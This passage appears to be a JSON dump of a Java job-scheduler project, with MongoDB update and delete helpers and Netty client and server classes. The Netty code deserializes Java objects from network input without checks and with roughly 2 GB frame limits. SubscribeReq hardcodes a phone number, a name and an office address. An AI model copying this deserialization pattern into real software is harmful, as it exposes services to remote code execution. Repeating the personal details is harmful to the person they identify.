queryCondition.put(DBTableInfo.COL_JOB_TYPE, basicDBObject.get(DBTableInfo.COL_JOB_TYPE));\r\n        DBObject retObj = dbCollection.findOne(queryCondition);\r\n        boolean flag = false;\r\n        if (null != retObj) { //只更新时间戳TS和状态\r\n            BasicDBObject updateCondition = new BasicDBObject();\r\n            if (null != retObj.get(DBTableInfo.COL_STATUS) && !retObj.get(DBTableInfo.COL_STATUS).equals(CommonConstants.JOB_STATUS_2)) {\r\n                updateCondition.put(DBTableInfo.COL_STATUS, CommonConstants.JOB_STATUS_2);\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_EXECUTE_TYPE) &&\r\n                    !retObj.get(DBTableInfo.COL_EXECUTE_TYPE).equals(basicDBObject.get(DBTableInfo.COL_EXECUTE_TYPE))) {\r\n                updateCondition.put(DBTableInfo.COL_EXECUTE_TYPE, basicDBObject.get(DBTableInfo.COL_EXECUTE_TYPE));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_JOB_STRATEGY) &&\r\n                    !retObj.get(DBTableInfo.COL_JOB_STRATEGY).equals(basicDBObject.get(DBTableInfo.COL_JOB_STRATEGY))) {\r\n                updateCondition.put(DBTableInfo.COL_JOB_STRATEGY, basicDBObject.get(DBTableInfo.COL_JOB_STRATEGY));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_JOB_INFO) &&\r\n                    !retObj.get(DBTableInfo.COL_JOB_INFO).equals(basicDBObject.get(DBTableInfo.COL_JOB_INFO))) {\r\n                updateCondition.put(DBTableInfo.COL_JOB_INFO, basicDBObject.get(DBTableInfo.COL_JOB_INFO));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_CLIENT_IP) &&\r\n                    !retObj.get(DBTableInfo.COL_CLIENT_IP).equals(basicDBObject.get(DBTableInfo.COL_CLIENT_IP))) {\r\n                updateCondition.put(DBTableInfo.COL_CLIENT_IP, basicDBObject.get(DBTableInfo.COL_CLIENT_IP));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_SERVER_IP) &&\r\n                    !retObj.get(DBTableInfo.COL_SERVER_IP).equals(basicDBObject.get(DBTableInfo.COL_SERVER_IP))) {\r\n                updateCondition.put(DBTableInfo.COL_SERVER_IP, basicDBObject.get(DBTableInfo.COL_SERVER_IP));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_START_TIME) &&\r\n                    !retObj.get(DBTableInfo.COL_START_TIME).equals(basicDBObject.get(DBTableInfo.COL_START_TIME))) {\r\n                updateCondition.put(DBTableInfo.COL_START_TIME, basicDBObject.get(DBTableInfo.COL_START_TIME));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_START_TIME) &&\r\n                    !retObj.get(DBTableInfo.COL_START_TIME).equals(basicDBObject.get(DBTableInfo.COL_START_TIME))) {\r\n                updateCondition.put(DBTableInfo.COL_START_TIME, basicDBObject.get(DBTableInfo.COL_START_TIME));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_CRON_EXPRESSION) &&\r\n                    !retObj.get(DBTableInfo.COL_CRON_EXPRESSION).equals(basicDBObject.get(DBTableInfo.COL_CRON_EXPRESSION))) {\r\n                updateCondition.put(DBTableInfo.COL_CRON_EXPRESSION, basicDBObject.get(DBTableInfo.COL_CRON_EXPRESSION));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_FIXED_CLIENT_IPS) &&\r\n                    !retObj.get(DBTableInfo.COL_FIXED_CLIENT_IPS).equals(basicDBObject.get(DBTableInfo.COL_FIXED_CLIENT_IPS))) {\r\n                updateCondition.put(DBTableInfo.COL_FIXED_CLIENT_IPS, basicDBObject.get(DBTableInfo.COL_FIXED_CLIENT_IPS));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_FIXED_SERVER_IPS) &&\r\n                    !retObj.get(DBTableInfo.COL_FIXED_SERVER_IPS).equals(basicDBObject.get(DBTableInfo.COL_FIXED_SERVER_IPS))) {\r\n                updateCondition.put(DBTableInfo.COL_FIXED_SERVER_IPS, basicDBObject.get(DBTableInfo.COL_FIXED_SERVER_IPS));\r\n            }\r\n            updateCondition.put(DBTableInfo.COL_TS, DateUtil.currentDateTime());\r\n            flag = dbCollection.update(new BasicDBObject(DBTableInfo.COL_ID, retObj.get(DBTableInfo.COL_ID)),\r\n                    new BasicDBObject(\"$set\", updateCondition), true, false).getN() > 0;\r\n        }\r\n        return flag;\r\n    }\r\n\r\n    public static boolean delete(BasicDBObject condition, String collectionName) {\r\n        DBCollection dbCollection = getCollection(collectionName);\r\n        WriteResult writeResult = dbCollection.remove(condition);\r\n        return writeResult.getN() > 0;\r\n    }\r\n\r\n    public static boolean update(BasicDBObject queryCondition, BasicDBObject updateCondition, String collectionName) {\r\n        try {\r\n            DBCollection dbCollection = getCollection(collectionName);\r\n            dbCollection.update(queryCondition, new BasicDBObject(\"$set\", updateCondition),true,true);\r\n            return true;\r\n\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"MongoDBUtil-->>findAndModify(\" + JSON.toJSONString(queryCondition) + \",\" + JSON.toJSONString(updateCondition) + \")\", e);\r\n            return false;\r\n        }\r\n    }\r\n\r\n    public static void updateOrDeleteDB(JobExecutionContext context) {\r\n        BasicDBObject condition = new BasicDBObject();\r\n        condition.put(DBTableInfo.COL_JOB_KEY, context.getJobDetail().getKey().toString());\r\n        condition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_LOCAL);\r\n        condition.put(DBTableInfo.COL_CLIENT_IP, IpUtil.getLocalIP());\r\n        DBCollection dbCollection = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_JOB);\r\n        DBObject retObj = dbCollection.findOne(condition);\r\n        boolean flag;\r\n        if (context.getNextFireTime() != null) {\r\n            if (null != retObj) { //只更新时间戳TS和状态\r\n                BasicDBObject updateCondition = new BasicDBObject();\r\n                if (!retObj.get(DBTableInfo.COL_STATUS).equals(CommonConstants.JOB_STATUS_2)) {\r\n                    updateCondition.put(DBTableInfo.COL_STATUS, CommonConstants.JOB_STATUS_2);\r\n                }\r\n                updateCondition.put(DBTableInfo.COL_TS, DateUtil.currentDateTime());\r\n                flag = dbCollection.update(new BasicDBObject(DBTableInfo.COL_ID, retObj.get(DBTableInfo.COL_ID)),\r\n                        new BasicDBObject(\"$set\", updateCondition), true, false).getN() > 0;\r\n                if (!flag) {\r\n                    logger.error(\"MongoDBUtil-->>updateOrDeleteDB(\" + JSON.toJSONString(context) + \") error\");\r\n                }\r\n            }\r\n            return;\r\n        }\r\n        if (null == context.getNextFireTime()) {\r\n            if (null != retObj) {\r\n                BasicDBObject deleteCondition = new BasicDBObject();\r\n                deleteCondition.put(DBTableInfo.COL_JOB_KEY, context.getJobDetail().getKey().toString());\r\n                deleteCondition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_LOCAL);\r\n                deleteCondition.put(DBTableInfo.COL_CLIENT_IP, IpUtil.getLocalIP());\r\n                dbCollection.remove(deleteCondition);\r\n            }\r\n        }\r\n    }\r\n\r\n    /**\r\n     * 更新job 开始执行时间和结束执行时间\r\n     *\r\n     * @param context\r\n     * @param updateType 1:update executeStartTime;2: update executeEndTime\r\n     */\r\n    public static void updateJobTime(JobExecutionContext context, int updateType) {\r\n        BasicDBObject condition = new BasicDBObject();\r\n        condition.put(DBTableInfo.COL_JOB_KEY, context.getJobDetail().getKey().toString());\r\n        condition.put(DBTableInfo.COL_CLIENT_IP, IpUtil.getLocalIP());\r\n        DBCollection dbCollection = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_JOB);\r\n        DBObject retObj = dbCollection.findOne(condition);\r\n        boolean flag;\r\n        if (null != retObj) {\r\n            if (1 == updateType) {\r\n                BasicDBObject updateCondition = new BasicDBObject();\r\n                updateCondition.put(DBTableInfo.COL_EXECUTE_START_TIME, DateUtil.currentDateTime());\r\n                updateCondition.put(DBTableInfo.COL_EXECUTE_END_TIME, \"\");\r\n                flag = dbCollection.update(new BasicDBObject(DBTableInfo.COL_ID, retObj.get(DBTableInfo.COL_ID)),\r\n                        new BasicDBObject(\"$set\", updateCondition), true, false).getN() > 0;\r\n                if (!flag) {\r\n                    logger.error(\"MongoDBUtil-->>updateJobTime(\" + JSON.toJSONString(context) + \",\" + updateType + \") error\");\r\n                }\r\n            } else if (2 == updateType) {\r\n                BasicDBObject updateCondition = new BasicDBObject();\r\n                updateCondition.put(DBTableInfo.COL_EXECUTE_END_TIME, DateUtil.currentDateTime());\r\n                updateCondition.put(DBTableInfo.COL_TIMES, (Long.parseLong(String.valueOf(retObj.get(DBTableInfo.COL_TIMES))) + 1));\r\n                flag = dbCollection.update(new BasicDBObject(DBTableInfo.COL_ID, retObj.get(DBTableInfo.COL_ID)),\r\n                        new BasicDBObject(\"$set\", updateCondition), true, false).getN() > 0;\r\n                if (!flag) {\r\n                    logger.error(\"MongoDBUtil-->>updateJobTime(\" + JSON.toJSONString(context) + \",\" + updateType + \") error\");\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    public static boolean isEnabledDB(){\r\n        DBObject condition = new BasicDBObject();\r\n        condition.put(DBTableInfo.COL_CONFIG_KEY,CommonConstants.DISABLED_DB);\r\n        condition.put(DBTableInfo.COL_CONFIG_TYPE,CommonConstants.TYPE_DB);\r\n        DBObject  result = MongoDBUtil.INSTANCE.findOneByCondition(condition,DBTableInfo.TBL_CLOVER_CONFIG);\r\n        if(null!=result && result.containsField(DBTableInfo.COL_CONFIG_VALUE)  &&  !Boolean.valueOf((String) result.get(DBTableInfo.COL_CONFIG_VALUE))){\r\n            return false;\r\n        } else {\r\n            return true;\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/netty/client/ObjectReqClient.java",
    "content": "package com.gome.clover.common.netty.client;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.compress.CompressUtil;\r\nimport com.gome.clover.common.zeromq.ZeroMQEntity;\r\nimport io.netty.bootstrap.Bootstrap;\r\nimport io.netty.buffer.Unpooled;\r\nimport io.netty.channel.*;\r\nimport io.netty.channel.nio.NioEventLoopGroup;\r\nimport io.netty.channel.socket.SocketChannel;\r\nimport io.netty.channel.socket.nio.NioSocketChannel;\r\nimport io.netty.handler.codec.LengthFieldBasedFrameDecoder;\r\nimport io.netty.handler.codec.LengthFieldPrepender;\r\nimport io.netty.handler.codec.http.*;\r\nimport java.net.URI;\r\nimport java.util.logging.Logger;\r\n\r\nimport io.netty.handler.codec.serialization.ClassResolvers;\r\nimport io.netty.handler.codec.serialization.ObjectDecoder;\r\nimport io.netty.handler.codec.serialization.ObjectEncoder;\r\nimport org.apache.commons.logging.Log;\r\nimport org.apache.commons.logging.LogFactory;\r\nimport org.slf4j.LoggerFactory;\r\n\r\n/**\r\n * 时间服务 客户端\r\n * @author linyoufa\r\n *\r\n */\r\npublic class ObjectReqClient {\r\n\r\n\tprivate static final org.slf4j.Logger logger = LoggerFactory.getLogger(ObjectReqClient.class);\r\n\tpublic void connect(int port ,String host, final ZeroMQEntity entity) throws Exception {\r\n\t\tEventLoopGroup workerGroup = new NioEventLoopGroup();\r\n\r\n\t\ttry {\r\n\t\t\tBootstrap b = new Bootstrap();\r\n\t\t\tb.group(workerGroup);\r\n\t\t\tb.channel(NioSocketChannel.class);\r\n\t\t\tb.option(ChannelOption.SO_KEEPALIVE, true);\r\n\t\t\tb.handler(new ChannelInitializer<SocketChannel>() {\r\n\t\t\t\t/**\r\n\t\t\t\t@Override\r\n\t\t\t\tpublic void initChannel(SocketChannel ch) throws Exception {\r\n\t\t\t\t\t// 客户端接收到的是httpResponse响应，所以要使用HttpResponseDecoder进行解码\r\n\t\t\t\t\tch.pipeline().addLast(new HttpResponseDecoder());\r\n\t\t\t\t\t// 客户端发送的是httprequest，所以要使用HttpRequestEncoder进行编码\r\n\t\t\t\t\tch.pipeline().addLast(new HttpRequestEncoder());\r\n\t\t\t\t\tch.pipeline().addLast(new SubReqClientHandel(entity));\r\n\t\t\t\t} **/\r\n\t\t\t\t@Override\r\n\t\t\t\tprotected void initChannel(SocketChannel ch) throws Exception {\r\n\t\t\t\t\t/**\r\n\t\t\t\t\tch.pipeline().addLast(new ObjectDecoder(1024*1024*1024*2-1, ClassResolvers.weakCachingConcurrentResolver(this.getClass().getClassLoader())));\r\n\t\t\t\t\tch.pipeline().addLast(new ObjectEncoder());\r\n\t\t\t\t\tch.pipeline().addLast(new SubReqClientHandel(entity));\r\n\t\t\t\t\t **/\r\n\t\t\t\t\tChannelPipeline pipeline = ch.pipeline();\r\n\t\t\t\t\tpipeline.addLast(\"frameDecoder\",new LengthFieldBasedFrameDecoder(1024*1024*1024*2-1, 0,4, 0, 4));\r\n\t\t\t\t\tpipeline.addLast(\"frameEncoder\", new LengthFieldPrepender(4));\r\n\t\t\t\t\tpipeline.addLast(\"decoder\",new ObjectDecoder(1024*1024*1024*2-1, ClassResolvers.weakCachingConcurrentResolver(this.getClass().getClassLoader())));\r\n\t\t\t\t\tpipeline.addLast(\"encoder\",new ObjectEncoder());\r\n\t\t\t\t\tpipeline.addLast(\"handler\", new SubReqClientHandel());\r\n\t\t\t\t};\r\n\r\n\t\t\t});\r\n\t\t\ttry {\r\n\t\t\t\tbyte[] entityBytes = CompressUtil.compress(JSON.toJSONString(entity).getBytes());\r\n\t\t\t\tChannel  channel = b.connect(host, port).sync().channel();\r\n\t\t\t\tchannel.writeAndFlush(entityBytes).sync();\r\n\t\t\t\tlogger.info(\"连接向Server（\"+host+\":\"+port+\"）写数据完成,数据包大小：\"+entityBytes.length );\r\n\t\t\t}catch (Exception e){\r\n\t\t\t\tlogger.error(String.format(\"连接Server失败\", host, port), e);\r\n\t\t\t}\r\n\t\t\t/**\r\n\t\t\t// Start the client.\r\n\t\t\tChannelFuture f = b.connect(host, port).sync();\r\n\t\t\tURI uri = new URI(\"http://\"+host+\":\"+port);\r\n\t\t\tString msg = \"Are you ok?\";\r\n\r\n\t\t\tDefaultFullHttpRequest request = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET,\r\n\t\t\t\t\turi.toASCIIString(), Unpooled.wrappedBuffer(msg.getBytes(\"UTF-8\")));\r\n\r\n\t\t\t// 构建http请求\r\n\t\t\trequest.headers().set(HttpHeaders.Names.HOST, host);\r\n\t\t\trequest.headers().set(HttpHeaders.Names.CONNECTION, HttpHeaders.Values.KEEP_ALIVE);\r\n\t\t\trequest.headers().set(HttpHeaders.Names.CONTENT_LENGTH, request.content().readableBytes());\r\n\t\t\t// 发送http请求\r\n\t\t\tf.channel().write(request);\r\n\t\t\tf.channel().flush();\r\n\t\t\tf.channel().closeFuture().sync();\r\n\t\t\t **/\r\n\t\t} finally {\r\n\t\t\tworkerGroup.shutdownGracefully();\r\n\t\t}\r\n\r\n\t}\r\n\tpublic static void main(String[] args) throws Exception {\r\n\t\tObjectReqClient client = new ObjectReqClient();\r\n\t\t//client.connect(\"127.0.0.1\", 8844);\r\n\t}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\t/**\r\n\tpublic static void main(String[] args) throws Exception {\r\n\t\tint defualtPort=8080;\r\n\t\tif(args!=null && args.length>0){\r\n\t\t\tdefualtPort=Integer.valueOf(args[0]);\r\n\t\t}\r\n\t\t//new ObjectReqClient().connect(defualtPort,\"127.0.0.1\");\r\n\t}\r\n\r\n\tpublic void connect(int port,String host ,final ZeroMQEntity entity)throws Exception{\r\n\r\n\t\tEventLoopGroup clientGroup= new NioEventLoopGroup();\r\n\r\n\t\ttry{\r\n\r\n\t\t\tBootstrap b= new Bootstrap();\r\n\t\t\tb.group(clientGroup).\r\n\t\t\tchannel(NioSocketChannel.class)\r\n\t\t\t.option(ChannelOption.TCP_NODELAY, true)//表示持续发送TCP数据包 而不是等到一定大小才发送\r\n\t\t\t.handler(new ChannelInitializer<SocketChannel>() {\r\n\t\t\t\t@Override\r\n\t\t\t\tprotected void initChannel(SocketChannel ch) throws Exception {\r\n\t\t\t\t\t// TODO Auto-generated method stub\r\n\t\t\t\t\tch.pipeline().addLast(new ObjectDecoder(1024 * 1024, ClassResolvers.softCachingConcurrentResolver(this.getClass().getClassLoader())));\r\n\t\t\t\t\tch.pipeline().addLast(new ObjectEncoder());\r\n\t\t\t\t\tch.pipeline().addLast(new SubReqClientHandel(entity));\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t\t// 等待完成 连接\r\n\t\t\tChannelFuture f=b.connect(host,port).sync();\r\n\t\t\t//等待 客户端 链路关闭\r\n\t\t\tf.channel().closeFuture().sync();\r\n\t\t}finally{\r\n\t\t\tclientGroup.shutdownGracefully();\r\n\t\t}\r\n\t}\r\n**/\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/netty/client/SubReqClientHandel.java",
    "content": "package com.gome.clover.common.netty.client;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.compress.CompressUtil;\r\nimport com.gome.clover.common.tools.ClassUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.gome.clover.common.zeromq.ZeroMQEntity;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ServerJob;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport io.netty.channel.*;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport org.quartz.TriggerBuilder;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\n\r\npublic class SubReqClientHandel  extends SimpleChannelInboundHandler {\r\n\tprivate static final Logger logger = LoggerFactory.getLogger(SubReqClientHandel.class);\r\n\tprivate ZeroMQEntity  entity;\r\n\tpublic SubReqClientHandel(ZeroMQEntity  entity){\r\n\t\tthis.entity=entity;\r\n\t}\r\n\tpublic SubReqClientHandel(){\r\n\t}\r\n\t/**\r\n\t@Override\r\n\tpublic void channelActive(ChannelHandlerContext ctx) throws Exception {\r\n\t\t// TODO Auto-generated method stub\r\n\t\tlogger.error(\"ChannelHandlerContext.channelActive().write()  >>>>>>>ctx.channel().config():\"+ctx.channel().config());\r\n\t\tctx.write(CompressUtil.compress( JSON.toJSONString(entity).getBytes()));\r\n\t\tctx.flush();\r\n\t\tlogger.error(\"ChannelHandlerContext.channelActive().write()\");\r\n\t}\r\n\t**/\r\n\t\r\n\t@Override\r\n\tpublic void channelRead0(ChannelHandlerContext ctx, Object msg) throws Exception {\r\n\t\tlogger.info(\"******Client接收到Server回调数据成功******\");\r\n\t\tString result = new String(CompressUtil.uncompress((byte[])msg));\r\n\t\tZeroMQEntity entity = JSON.parseObject(result, ZeroMQEntity.class);\r\n\t\tif (entity!=null){\r\n\t\t\tServerJob serverJob = (ServerJob) ClassUtil.BytesToObject(Base64.decodeBase64(entity.getJobInfo()));\r\n\t\t\tModuleSchedulerClient client = ModuleSchedulerClient.getInstance();\r\n\t\t\tClientJob clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64((String) serverJob.getJobDetail().getJobDataMap().get(CommonConstants.CLIENT_JOB_INFO)));\r\n\t\t\tresetClientJobTriggerAndJobType(clientJob);\r\n\t\t\tclient.handlerJob(clientJob);\r\n\t\t\tlogger.info(\"client接收到服务器返回的消息:\" + msg);\r\n\t\t}else {\r\n\t\t\tlogger.error(\"client accept Server resp Error!\");\r\n\t\t}\r\n\t\tctx.close();\r\n\t}\r\n\tprivate void resetClientJobTriggerAndJobType(ClientJob clientJob) {\r\n\t\tclientJob.setTrigger(TriggerBuilder.newTrigger().startNow().withIdentity(clientJob.getTrigger().getKey()).build());\r\n\t\tclientJob.setJobType(ClientJob.JobType.REMOTE);\r\n\t}\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/netty/protol/SubScribeResp.java",
    "content": "package com.gome.clover.common.netty.protol;\r\n\r\nimport java.io.Serializable;\r\n\r\n/**\r\n *\r\n * 功能描述：应答对象 \r\n * @author linyoufa\r\n *\t2014-12-23\r\n */\r\npublic class SubScribeResp implements Serializable {\r\n\r\n\t/**\r\n\t *\r\n\t */\r\n\tprivate static final long serialVersionUID = 1L;\r\n\r\n\tprivate String subReqId;\r\n\tprivate String respCode;\r\n\tprivate String desc;\r\n\r\n\tpublic SubScribeResp(String subRespId,String userName,String address){\r\n\t\tthis.subReqId=subRespId;\r\n\t\tthis.respCode=\"0\";\r\n\t\tthis.desc=\"Netty book order succesd  name:\"+userName +\" address\"+address;\r\n\t}\r\n\r\n\tpublic String getSubReqId() {\r\n\t\treturn subReqId;\r\n\t}\r\n\r\n\tpublic void setSubReqId(String subReqId) {\r\n\t\tthis.subReqId = subReqId;\r\n\t}\r\n\r\n\tpublic String getRespCode() {\r\n\t\treturn respCode;\r\n\t}\r\n\r\n\tpublic void setRespCode(String respCode) {\r\n\t\tthis.respCode = respCode;\r\n\t}\r\n\r\n\tpublic String getDesc() {\r\n\t\treturn desc;\r\n\t}\r\n\r\n\tpublic void setDesc(String desc) {\r\n\t\tthis.desc = desc;\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String toString() {\r\n\t\treturn \"SubScribeResp [desc=\" + desc + \", respCode=\" + respCode\r\n\t\t\t\t+ \", subReqId=\" + subReqId + \"]\";\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/netty/protol/SubscribeReq.java",
    "content": "package com.gome.clover.common.netty.protol;\r\n\r\nimport java.io.Serializable;\r\n\r\n/**\r\n *\r\n * 功能描述：请求对象\r\n * @author linyoufa\r\n *\t2014-12-23\r\n */\r\npublic class SubscribeReq implements Serializable{\r\n\r\n\t/**\r\n\t *\r\n\t */\r\n\tprivate static final long serialVersionUID = 1L;\r\n\tprivate String subReqId;\r\n\tprivate String userName;\r\n\tprivate String porductName;\r\n\tprivate String phoneNumber;\r\n\tprivate String address;\r\n\r\n\tpublic SubscribeReq(String subReqId){\r\n\t\tthis.subReqId=subReqId;\r\n\t\tthis.phoneNumber=\"15210130485\";\r\n\t\tthis.porductName=\"Nett权威指南\";\r\n\t\tthis.userName=\"linyoufa\";\r\n\t\tthis.address=\"北京市朝阳区晓云路26号鹏润大厦21层\";\r\n\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String toString() {\r\n\t\treturn \"SubscribeReq [phoneNumber=\" + phoneNumber + \", porductName=\"\r\n\t\t\t\t+ porductName + \", subReqId=\" + subReqId + \", userName=\"\r\n\t\t\t\t+ userName + \"]\";\r\n\t}\r\n\tpublic String getSubReqId() {\r\n\t\treturn subReqId;\r\n\t}\r\n\tpublic void setSubReqId(String subReqId) {\r\n\t\tthis.subReqId = subReqId;\r\n\t}\r\n\tpublic String getUserName() {\r\n\t\treturn userName;\r\n\t}\r\n\tpublic void setUserName(String userName) {\r\n\t\tthis.userName = userName;\r\n\t}\r\n\tpublic String getPorductName() {\r\n\t\treturn porductName;\r\n\t}\r\n\tpublic void setPorductName(String porductName) {\r\n\t\tthis.porductName = porductName;\r\n\t}\r\n\tpublic String getPhoneNumber() {\r\n\t\treturn phoneNumber;\r\n\t}\r\n\tpublic void setPhoneNumber(String phoneNumber) {\r\n\t\tthis.phoneNumber = phoneNumber;\r\n\t}\r\n\r\n\tpublic String getAddress() {\r\n\t\treturn address;\r\n\t}\r\n\r\n\tpublic void setAddress(String address) {\r\n\t\tthis.address = address;\r\n\t}\r\n\r\n\r\n\r\n\r\n\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/netty/server/ObjectRespServer.java",
    "content": "package com.gome.clover.common.netty.server;\r\n\r\nimport io.netty.bootstrap.ServerBootstrap;\r\nimport io.netty.channel.*;\r\nimport io.netty.channel.nio.NioEventLoopGroup;\r\nimport io.netty.channel.socket.SocketChannel;\r\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\r\nimport io.netty.handler.codec.LengthFieldBasedFrameDecoder;\r\nimport io.netty.handler.codec.LengthFieldPrepender;\r\nimport io.netty.handler.codec.serialization.ClassResolvers;\r\nimport io.netty.handler.codec.serialization.ObjectDecoder;\r\nimport io.netty.handler.codec.serialization.ObjectEncoder;\r\nimport io.netty.handler.logging.LogLevel;\r\nimport io.netty.handler.logging.LoggingHandler;\r\nimport io.netty.handler.codec.http.HttpRequestDecoder;\r\nimport io.netty.handler.codec.http.HttpResponseEncoder;\r\npublic class ObjectRespServer {\r\n\r\n\tpublic void bind(int port)throws Exception{\r\n\t\t//配置服务端的NIo 线程组\r\n\t\tEventLoopGroup bossGroup = new NioEventLoopGroup();\r\n\t\tEventLoopGroup workerGroup = new NioEventLoopGroup();\r\n\t\ttry{\r\n\t\t\tServerBootstrap b= new ServerBootstrap();\r\n\t\t\tb.group(bossGroup, workerGroup).channel(NioServerSocketChannel.class)\r\n\t\t\t\t\t.option(ChannelOption.SO_BACKLOG, 1024)\r\n\t\t\t\t\t.option(ChannelOption.TCP_NODELAY, true)\r\n\t\t\t\t\t.handler(new LoggingHandler(LogLevel.INFO))\r\n\t\t\t\t\t.childHandler(new ChannelInitializer<SocketChannel>() {\r\n\t\t\t\t\t\t@Override\r\n\t\t\t\t\t\tprotected void initChannel(SocketChannel ch) throws Exception {\r\n\t\t\t\t\t\t\tch.pipeline().addLast(new ObjectDecoder(1024*1024*1024*2,ClassResolvers.weakCachingConcurrentResolver(this.getClass().getClassLoader())));\r\n\t\t\t\t\t\t\tch.pipeline().addLast(new ObjectEncoder());\r\n\t\t\t\t\t\t\tch.pipeline().addLast(new SubReqServerHandel());\r\n\r\n\t\t\t\t\t\t};\r\n\t\t\t\t\t});\r\n\t\t\t//绑定 端口 同步等待成功\r\n\t\t\tChannelFuture future=b.bind(port).sync();\r\n\t\t\t//等待服务器监听 关闭\r\n\t\t\tfuture.channel().closeFuture().sync();\r\n\t\t}finally{\r\n\t\t\t//优雅的退出 释放线程资源 \r\n\t\t\tbossGroup.shutdownGracefully();\r\n\t\t\tworkerGroup.shutdownGracefully();\r\n\t\t}\r\n\r\n\r\n\t}\r\n\tpublic void start(int port) throws Exception {\r\n\t\tEventLoopGroup bossGroup = new NioEventLoopGroup();\r\n\t\tEventLoopGroup workerGroup = new NioEventLoopGroup();\r\n\t\ttry {\r\n\t\t\tServerBootstrap b = new ServerBootstrap();\r\n\t\t\tb.group(bossGroup, workerGroup).channel(NioServerSocketChannel.class)\r\n\t\t\t\t\t.childHandler(new ChannelInitializer<SocketChannel>() {\r\n\t\t\t\t\t\t@Override\r\n\t\t\t\t\t\tpublic void initChannel(SocketChannel ch) throws Exception {\r\n\t\t\t\t\t\t\t/**\r\n\t\t\t\t\t\t\t // server端发送的是httpResponse，所以要使用HttpResponseEncoder进行编码\r\n\t\t\t\t\t\t\t ch.pipeline().addLast(new ObjectEncoder());\r\n\t\t\t\t\t\t\t // server端接收到的是httpRequest，所以要使用HttpRequestDecoder进行解码\r\n\t\t\t\t\t\t\t ch.pipeline().addLast(new ObjectDecoder(1024*1024*1024*2-1, ClassResolvers.weakCachingConcurrentResolver(this.getClass().getClassLoader())));\r\n\t\t\t\t\t\t\t ch.pipeline().addLast(new SubReqServerHandel());\r\n\t\t\t\t\t\t\t **/\r\n\r\n\t\t\t\t\t\t\tChannelPipeline pipeline = ch.pipeline();\r\n\t\t\t\t\t\t\tpipeline.addLast(\"frameDecoder\", new LengthFieldBasedFrameDecoder(1024*1024*1024*2-1, 0, 4, 0, 4));\r\n\t\t\t\t\t\t\tpipeline.addLast(\"frameEncoder\", new LengthFieldPrepender(4));\r\n\t\t\t\t\t\t\tpipeline.addLast(\"decoder\", new ObjectDecoder(1024 * 1024 * 1024 * 2 - 1, ClassResolvers.weakCachingConcurrentResolver(this.getClass().getClassLoader())));\r\n\t\t\t\t\t\t\tpipeline.addLast(\"encoder\", new ObjectEncoder());\r\n\t\t\t\t\t\t\tpipeline.addLast(new SubReqServerHandel());\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}).option(ChannelOption.SO_BACKLOG, 128)\r\n\t\t\t\t\t.childOption(ChannelOption.SO_KEEPALIVE, true);\r\n\r\n\t\t\tChannelFuture f = b.bind(port).sync();\r\n\t\t\tf.channel().closeFuture().sync();\r\n\t\t} finally {\r\n\t\t\tworkerGroup.shutdownGracefully();\r\n\t\t\tbossGroup.shutdownGracefully();\r\n\t\t}\r\n\t}\r\n\t/**\r\n\t * @param args\r\n\t * @throws Exception\r\n\t */\r\n\tpublic static void main(String[] args) throws Exception {\r\n\t\t// TODO Auto-generated method stub\r\n\t\tint defualtPort=8080;\r\n\t\tif(args!=null && args.length>0){\r\n\t\t\tdefualtPort=Integer.valueOf(args[0]);\r\n\t\t}\r\n\r\n\t\tnew ObjectRespServer().bind(defualtPort);\r\n\t}\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/netty/server/SubReqServerHandel.java",
